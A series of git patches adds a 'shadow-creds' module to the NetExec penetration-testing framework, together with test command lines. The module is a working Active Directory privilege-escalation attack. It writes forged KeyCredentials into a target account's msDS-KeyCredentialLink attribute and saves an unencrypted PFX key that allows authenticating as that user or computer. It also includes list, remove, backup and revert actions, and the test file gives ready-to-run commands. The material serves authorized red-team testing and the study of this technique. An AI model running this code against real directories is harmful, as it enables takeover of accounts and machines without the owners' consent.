From 3114333d278132f94259105762995da89ad1ba0c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 16:30:09 -0400 Subject: [PATCH 01/12] First draft of shadow-creds --- nxc/modules/shadow-creds.py | 190 ++++++++++++++++++++++++++++++++++++ 1 file changed, 190 insertions(+) create mode 100644 nxc/modules/shadow-creds.py diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py new file mode 100644 index 00000000..1974243e --- /dev/null +++ b/nxc/modules/shadow-creds.py @@ -0,0 +1,190 @@ +from pathlib import Path +from sys import exit + +from cryptography.hazmat.primitives.serialization import NoEncryption +from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates +from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2 +from dsinternals.common.data.DNWithBinary import DNWithBinary +from dsinternals.common.data.hello.KeyCredential import KeyCredential +from dsinternals.system.DateTime import DateTime +from dsinternals.system.Guid import Guid +from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE + +from nxc.helpers.misc import CATEGORY +from nxc.parsers.ldap_results import parse_result_attributes +from nxc.paths import NXC_PATH + + +class NXCModule: + """ + Made by @NeffIsBack + Heavily inspired by the pyWhisker project by Shutdown: + https://github.com/ShutdownRepo/pywhisker + """ + + name = "shadow-creds" + description = "List, add, inspect, or remove Shadow Credentials from a computer" + supported_protocols = ["ldap"] + category = CATEGORY.PRIVILEGE_ESCALATION + + def options(self, context, module_options): + """ + TARGET sAMAccountName of the target computer (for example, TARGET=DESKTOP-123456$) + ACTION Action to perform: list, add, info, or remove (default: list) + DEVICE_ID KeyCredential device ID; required for info and remove + + Examples: + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID= + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID= + """ + self.target = module_options.get("TARGET", "").strip() + self.action = module_options.get("ACTION", "list").lower().strip() + self.device_id = module_options.get("DEVICE_ID") + + if not self.target: + context.log.fail("TARGET is required") + exit(1) + if self.action not in {"list", "add", "info", "remove"}: + context.log.fail("ACTION must be one of: add, info, list, remove") + exit(1) + if self.action in {"info", "remove"} and not self.device_id: + context.log.fail(f"DEVICE_ID is required for ACTION={self.action}") + exit(1) + + def on_login(self, context, connection): + self.context = context + self.connection = connection + + resp = connection.search( + searchFilter=f"(&(objectClass=computer)(sAMAccountName={self.target}))", + attributes=["distinguishedName", "sAMAccountName", "msDS-KeyCredentialLink"], + ) + resp_parsed = parse_result_attributes(resp) + if not resp_parsed: + context.log.fail(f"Computer '{self.target}' was not found") + return + + target_dn = resp_parsed[0]["distinguishedName"] + raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", []) + credentials = self.parse_credentials(raw_values if isinstance(raw_values, list) else [raw_values]) + + if self.action == "list": + self.list(credentials) + elif self.action == "add": + self.add(target_dn) + elif self.action == "info": + self.info(credentials) + elif self.action == "remove": + self.remove(target_dn, credentials) + + def parse_credentials(self, raw_values): + credentials = [] + for raw_value in raw_values: + try: + # AD stores each KeyCredential as a textual DN-Binary value. + credentials.append( + ( + raw_value, + KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode("utf-8") if isinstance(raw_value, str) else bytes(raw_value))), + ) + ) + except Exception as e: + self.context.log.fail(f"Could not parse an existing KeyCredential: {e}") + return credentials + + def get_credential(self, credentials): + for raw_value, credential in credentials: + if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id: + return raw_value, credential + self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}") + return None + + def list(self, credentials): + if not credentials: + self.context.log.display(f"No KeyCredentials found on {self.target}") + return + + self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}") + for _, credential in credentials: + self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else ''} | Creation time: {credential.CreationTime}") + + def add(self, target_dn): + try: + certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365) + credential = KeyCredential.fromX509Certificate2( + certificate=certificate, + deviceId=Guid(), + owner=target_dn, + currentTime=DateTime(), + isComputerKey=True, + ) + device_id = credential.DeviceId.toFormatD().lower() + ldap_value = credential.toDNWithBinary().toString() + output_path = self.write_pfx(certificate, device_id) + except Exception as e: + self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}") + return + + try: + # Add one value instead of replacing the complete multi-valued attribute. + self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]}) + except Exception as e: + self.context.log.fail(f"Failed to add the KeyCredential: {e}") + self.context.log.display(f"Generated PFX retained at {output_path}") + return + + self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}") + self.context.log.highlight(f"PFX: {output_path}") + + def write_pfx(self, certificate, device_id): + output_dir = Path(NXC_PATH) / "modules" / "shadow-creds" + output_dir.mkdir(parents=True, exist_ok=True) + output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx" + + output_path.write_bytes( + serialize_key_and_certificates( + name=self.target.encode("utf-8"), + key=certificate.key.to_cryptography_key(), + cert=certificate.certificate.to_cryptography(), + cas=None, + encryption_algorithm=NoEncryption(), + ) + ) + return output_path + + def info(self, credentials): + result = self.get_credential(credentials) + if result is None: + return + + _, credential = result + self.context.log.success(f"KeyCredential {self.device_id} on {self.target}") + for name, value in { + "Device ID": credential.DeviceId.toFormatD().lower(), + "Owner": credential.Owner, + "Version": getattr(credential.Version, "value", credential.Version), + "Identifier": credential.Identifier, + "Usage": getattr(credential.Usage, "name", credential.Usage), + "Source": getattr(credential.Source, "name", credential.Source), + "Creation time": credential.CreationTime, + "Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"), + "Public exponent": getattr(credential.RawKeyMaterial, "exponent", "unknown"), + }.items(): + self.context.log.highlight(f"{name:<17} {value}") + + def remove(self, target_dn, credentials): + result = self.get_credential(credentials) + if result is None: + return + + raw_value, _ = result + try: + # Delete the exact raw value so neighboring credentials remain untouched. + self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]}) + except Exception as e: + self.context.log.fail(f"Failed to remove the KeyCredential: {e}") + return + + self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}") From 18f0e5ffc5eac8b3433c471891ff03f3551d6d3b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 16:30:16 -0400 Subject: [PATCH 02/12] Add stub e2e tests --- tests/e2e_commands.txt | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 863e18c5..8eb8d130 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -245,6 +245,11 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-computers netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-scriptpath +# Shadow Credentials needs a writable, disposable computer object. Run these manually with a real target and use the device ID printed by ACTION=add. +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=list +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=add +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=info DEVICE_ID=SHADOW_CREDS_DEVICE_ID +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID # resetnightmare resets a real account password with no restore and needs a controlled account with GenericWrite on its UPN + an unpatched DC, run manually, not in CI #netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1 ##### WINRM From 96ce28cc4a669a2bf1f3b86f21efa2bb4c262c05 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 17:14:06 -0400 Subject: [PATCH 03/12] Add backup and revert functions --- nxc/modules/shadow-creds.py | 64 +++++++++++++++++++++++++++++++------ 1 file changed, 54 insertions(+), 10 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 1974243e..88ada600 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -1,3 +1,4 @@ +import json from pathlib import Path from sys import exit @@ -8,7 +9,7 @@ from dsinternals.common.data.DNWithBinary import DNWithBinary from dsinternals.common.data.hello.KeyCredential import KeyCredential from dsinternals.system.DateTime import DateTime from dsinternals.system.Guid import Guid -from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE +from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes @@ -23,35 +24,42 @@ class NXCModule: """ name = "shadow-creds" - description = "List, add, inspect, or remove Shadow Credentials from a computer" + description = "List, add, inspect, remove, backup, or revert Shadow Credentials on a computer" supported_protocols = ["ldap"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): """ TARGET sAMAccountName of the target computer (for example, TARGET=DESKTOP-123456$) - ACTION Action to perform: list, add, info, or remove (default: list) + ACTION Action to perform: list, add, info, remove, backup, or revert (default: list) DEVICE_ID KeyCredential device ID; required for info and remove + JSONFILE JSON backup path; required for revert and optional for backup Examples: netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID= netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID= + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json """ self.target = module_options.get("TARGET", "").strip() self.action = module_options.get("ACTION", "list").lower().strip() self.device_id = module_options.get("DEVICE_ID") + self.jsonfile = module_options.get("JSONFILE") if not self.target: context.log.fail("TARGET is required") exit(1) - if self.action not in {"list", "add", "info", "remove"}: - context.log.fail("ACTION must be one of: add, info, list, remove") + if self.action not in {"list", "add", "info", "remove", "backup", "revert"}: + context.log.fail("ACTION must be one of: list, add, info, remove, backup, revert") exit(1) if self.action in {"info", "remove"} and not self.device_id: context.log.fail(f"DEVICE_ID is required for ACTION={self.action}") exit(1) + if self.action == "revert" and not self.jsonfile: + context.log.fail("JSONFILE is required for ACTION=revert") + exit(1) def on_login(self, context, connection): self.context = context @@ -68,16 +76,20 @@ class NXCModule: target_dn = resp_parsed[0]["distinguishedName"] raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", []) - credentials = self.parse_credentials(raw_values if isinstance(raw_values, list) else [raw_values]) + raw_values = raw_values if isinstance(raw_values, list) else [raw_values] if self.action == "list": - self.list(credentials) + self.list(self.parse_credentials(raw_values)) elif self.action == "add": self.add(target_dn) elif self.action == "info": - self.info(credentials) + self.info(self.parse_credentials(raw_values)) elif self.action == "remove": - self.remove(target_dn, credentials) + self.remove(target_dn, self.parse_credentials(raw_values)) + elif self.action == "backup": + self.backup(raw_values) + elif self.action == "revert": + self.revert(target_dn) def parse_credentials(self, raw_values): credentials = [] @@ -87,7 +99,7 @@ class NXCModule: credentials.append( ( raw_value, - KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode("utf-8") if isinstance(raw_value, str) else bytes(raw_value))), + KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())), ) ) except Exception as e: @@ -188,3 +200,35 @@ class NXCModule: return self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}") + + def backup(self, raw_values): + key_credentials = [] + for raw_value in raw_values: + try: + key_credentials.append(KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())).toDict()) + except Exception as e: + self.context.log.fail(f"Could not serialize an existing KeyCredential, preserving its raw value: {e}") + key_credentials.append(raw_value) + + output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json" + output_path.parent.mkdir(parents=True, exist_ok=True) + output_path.write_text(json.dumps({"keyCredentials": key_credentials}, indent=4)) + self.context.log.success(f"Backed up {len(key_credentials)} KeyCredential(s) from {self.target} to {output_path}") + + def revert(self, target_dn): + try: + key_credentials = [] + for key_credential in json.loads(Path(self.jsonfile).read_text())["keyCredentials"]: + if not isinstance(key_credential, (dict, str)): + raise ValueError("keyCredentials entries must be objects or strings") + key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential) + except Exception as e: + self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}") + return + + try: + self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]}) + except Exception as e: + self.context.log.fail(f"Failed to revert Shadow Credentials: {e}") + return + self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)") From fb8b3e41c71e1a98a1bac716682b72a1fb0f8bf4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 17:21:00 -0400 Subject: [PATCH 04/12] Add more tests and adjust encoding --- nxc/modules/shadow-creds.py | 4 ++-- tests/e2e_commands.txt | 7 +++++-- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 88ada600..d6e31571 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -212,13 +212,13 @@ class NXCModule: output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json" output_path.parent.mkdir(parents=True, exist_ok=True) - output_path.write_text(json.dumps({"keyCredentials": key_credentials}, indent=4)) + output_path.write_text(json.dumps({"keyCredentials": key_credentials}, indent=4), encoding="utf-8") self.context.log.success(f"Backed up {len(key_credentials)} KeyCredential(s) from {self.target} to {output_path}") def revert(self, target_dn): try: key_credentials = [] - for key_credential in json.loads(Path(self.jsonfile).read_text())["keyCredentials"]: + for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]: if not isinstance(key_credential, (dict, str)): raise ValueError("keyCredentials entries must be objects or strings") key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 8eb8d130..677867b6 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -245,8 +245,11 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-computers netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-scriptpath -# Shadow Credentials needs a writable, disposable computer object. Run these manually with a real target and use the device ID printed by ACTION=add. -#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=list +# Backup followed by revert restores the same Shadow Credentials state on the disposable test computer. +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=list +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=backup JSONFILE=nxc-shadow-creds-castelblack.json +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=revert JSONFILE=nxc-shadow-creds-castelblack.json +# These actions require the generated device ID for an automated round trip. #netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=add #netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=info DEVICE_ID=SHADOW_CREDS_DEVICE_ID #netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID From 33080a917cfd2faeeb3127c908e4372d403f1bd0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 17:43:06 -0400 Subject: [PATCH 05/12] Just export raw ldap value to bypass dsinternals issues --- nxc/modules/shadow-creds.py | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index d6e31571..d90d72a8 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -202,18 +202,10 @@ class NXCModule: self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}") def backup(self, raw_values): - key_credentials = [] - for raw_value in raw_values: - try: - key_credentials.append(KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())).toDict()) - except Exception as e: - self.context.log.fail(f"Could not serialize an existing KeyCredential, preserving its raw value: {e}") - key_credentials.append(raw_value) - output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json" output_path.parent.mkdir(parents=True, exist_ok=True) - output_path.write_text(json.dumps({"keyCredentials": key_credentials}, indent=4), encoding="utf-8") - self.context.log.success(f"Backed up {len(key_credentials)} KeyCredential(s) from {self.target} to {output_path}") + output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8") + self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}") def revert(self, target_dn): try: From 8943e65a9ebc85696ee6a4696011abaa00fa89b1 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 17:47:37 -0400 Subject: [PATCH 06/12] Improve info output --- nxc/modules/shadow-creds.py | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index d90d72a8..0fae0057 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -174,15 +174,23 @@ class NXCModule: _, credential = result self.context.log.success(f"KeyCredential {self.device_id} on {self.target}") for name, value in { - "Device ID": credential.DeviceId.toFormatD().lower(), "Owner": credential.Owner, - "Version": getattr(credential.Version, "value", credential.Version), - "Identifier": credential.Identifier, - "Usage": getattr(credential.Usage, "name", credential.Usage), - "Source": getattr(credential.Source, "name", credential.Source), - "Creation time": credential.CreationTime, + "Version": hex(credential.Version.value), + "Key ID": credential.Identifier, + "Key hash": credential.KeyHash.hex(), "Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"), - "Public exponent": getattr(credential.RawKeyMaterial, "exponent", "unknown"), + " Exponent (E)": credential.RawKeyMaterial.exponent, + " Modulus (N)": hex(credential.RawKeyMaterial.modulus), + " Prime 1 (P)": hex(credential.RawKeyMaterial.prime1), + " Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2), + "Usage": credential.Usage, + "Legacy usage": credential.LegacyUsage, + "Source": credential.Source, + "Device ID": credential.DeviceId.toFormatD().lower(), + "Custom key info": credential.CustomKeyInfo, + **{f" {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()}, + "Last logon time": credential.LastLogonTime, + "Creation time": credential.CreationTime, }.items(): self.context.log.highlight(f"{name:<17} {value}") From 32e6d5a8b75cf598c5c0465a6ea22cba6b611d3b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 17:47:48 -0400 Subject: [PATCH 07/12] Display Device ID first --- nxc/modules/shadow-creds.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 0fae0057..04925f76 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -175,6 +175,7 @@ class NXCModule: self.context.log.success(f"KeyCredential {self.device_id} on {self.target}") for name, value in { "Owner": credential.Owner, + "Device ID": credential.DeviceId.toFormatD().lower(), "Version": hex(credential.Version.value), "Key ID": credential.Identifier, "Key hash": credential.KeyHash.hex(), @@ -186,7 +187,6 @@ class NXCModule: "Usage": credential.Usage, "Legacy usage": credential.LegacyUsage, "Source": credential.Source, - "Device ID": credential.DeviceId.toFormatD().lower(), "Custom key info": credential.CustomKeyInfo, **{f" {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()}, "Last logon time": credential.LastLogonTime, From 1b30d2ed018e86b66722ef048a784a48c8a1fde9 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 17:52:13 -0400 Subject: [PATCH 08/12] Allow non-computer accounts --- nxc/modules/shadow-creds.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 04925f76..8fee0471 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -24,13 +24,13 @@ class NXCModule: """ name = "shadow-creds" - description = "List, add, inspect, remove, backup, or revert Shadow Credentials on a computer" + description = "List, add, inspect, remove, backup, or revert Shadow Credentials on a user or computer" supported_protocols = ["ldap"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): """ - TARGET sAMAccountName of the target computer (for example, TARGET=DESKTOP-123456$) + TARGET sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$) ACTION Action to perform: list, add, info, remove, backup, or revert (default: list) DEVICE_ID KeyCredential device ID; required for info and remove JSONFILE JSON backup path; required for revert and optional for backup @@ -66,12 +66,12 @@ class NXCModule: self.connection = connection resp = connection.search( - searchFilter=f"(&(objectClass=computer)(sAMAccountName={self.target}))", - attributes=["distinguishedName", "sAMAccountName", "msDS-KeyCredentialLink"], + searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))", + attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"], ) resp_parsed = parse_result_attributes(resp) if not resp_parsed: - context.log.fail(f"Computer '{self.target}' was not found") + context.log.fail(f"Account '{self.target}' was not found") return target_dn = resp_parsed[0]["distinguishedName"] @@ -81,7 +81,7 @@ class NXCModule: if self.action == "list": self.list(self.parse_credentials(raw_values)) elif self.action == "add": - self.add(target_dn) + self.add(target_dn, "computer" in resp_parsed[0]["objectClass"]) elif self.action == "info": self.info(self.parse_credentials(raw_values)) elif self.action == "remove": @@ -122,7 +122,7 @@ class NXCModule: for _, credential in credentials: self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else ''} | Creation time: {credential.CreationTime}") - def add(self, target_dn): + def add(self, target_dn, is_computer): try: certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365) credential = KeyCredential.fromX509Certificate2( @@ -130,7 +130,7 @@ class NXCModule: deviceId=Guid(), owner=target_dn, currentTime=DateTime(), - isComputerKey=True, + isComputerKey=is_computer, ) device_id = credential.DeviceId.toFormatD().lower() ldap_value = credential.toDNWithBinary().toString() From a5b525037aa248140f190f98b9d93611925070ff Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 20 Aug 2026 09:43:41 +0200 Subject: [PATCH 09/12] Fix string comparison on DeviceID --- nxc/modules/shadow-creds.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 8fee0471..69679104 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -108,7 +108,7 @@ class NXCModule: def get_credential(self, credentials): for raw_value, credential in credentials: - if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id: + if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower(): return raw_value, credential self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}") return None From e0a3f1a1dba8cf49659fb8ac9f9689acfe5845f0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 20 Aug 2026 09:51:01 +0200 Subject: [PATCH 10/12] Restrict exception handling to LDAPSessionError caused by unsifficient privs --- nxc/modules/shadow-creds.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 69679104..c294a5b4 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -9,7 +9,7 @@ from dsinternals.common.data.DNWithBinary import DNWithBinary from dsinternals.common.data.hello.KeyCredential import KeyCredential from dsinternals.system.DateTime import DateTime from dsinternals.system.Guid import Guid -from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE +from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes @@ -142,7 +142,7 @@ class NXCModule: try: # Add one value instead of replacing the complete multi-valued attribute. self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]}) - except Exception as e: + except LDAPSessionError as e: self.context.log.fail(f"Failed to add the KeyCredential: {e}") self.context.log.display(f"Generated PFX retained at {output_path}") return @@ -203,7 +203,7 @@ class NXCModule: try: # Delete the exact raw value so neighboring credentials remain untouched. self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]}) - except Exception as e: + except LDAPSessionError as e: self.context.log.fail(f"Failed to remove the KeyCredential: {e}") return From 60aab5c60de53e8654e18f939cc54f49fe14c097 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 23 Aug 2026 07:28:30 -0400 Subject: [PATCH 11/12] Don't manually exit, but return False for invalid module options --- nxc/modules/shadow-creds.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index c294a5b4..02b1cfa2 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -50,16 +50,16 @@ class NXCModule: if not self.target: context.log.fail("TARGET is required") - exit(1) + return False if self.action not in {"list", "add", "info", "remove", "backup", "revert"}: context.log.fail("ACTION must be one of: list, add, info, remove, backup, revert") - exit(1) + return False if self.action in {"info", "remove"} and not self.device_id: context.log.fail(f"DEVICE_ID is required for ACTION={self.action}") - exit(1) + return False if self.action == "revert" and not self.jsonfile: context.log.fail("JSONFILE is required for ACTION=revert") - exit(1) + return False def on_login(self, context, connection): self.context = context From 8fbadf4d0fd2691375a69ca0aed1443f4dbdb62a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 23 Aug 2026 07:30:42 -0400 Subject: [PATCH 12/12] Remove unused import --- nxc/modules/shadow-creds.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 02b1cfa2..1210031a 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -1,6 +1,5 @@ import json from pathlib import Path -from sys import exit from cryptography.hazmat.primitives.serialization import NoEncryption from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates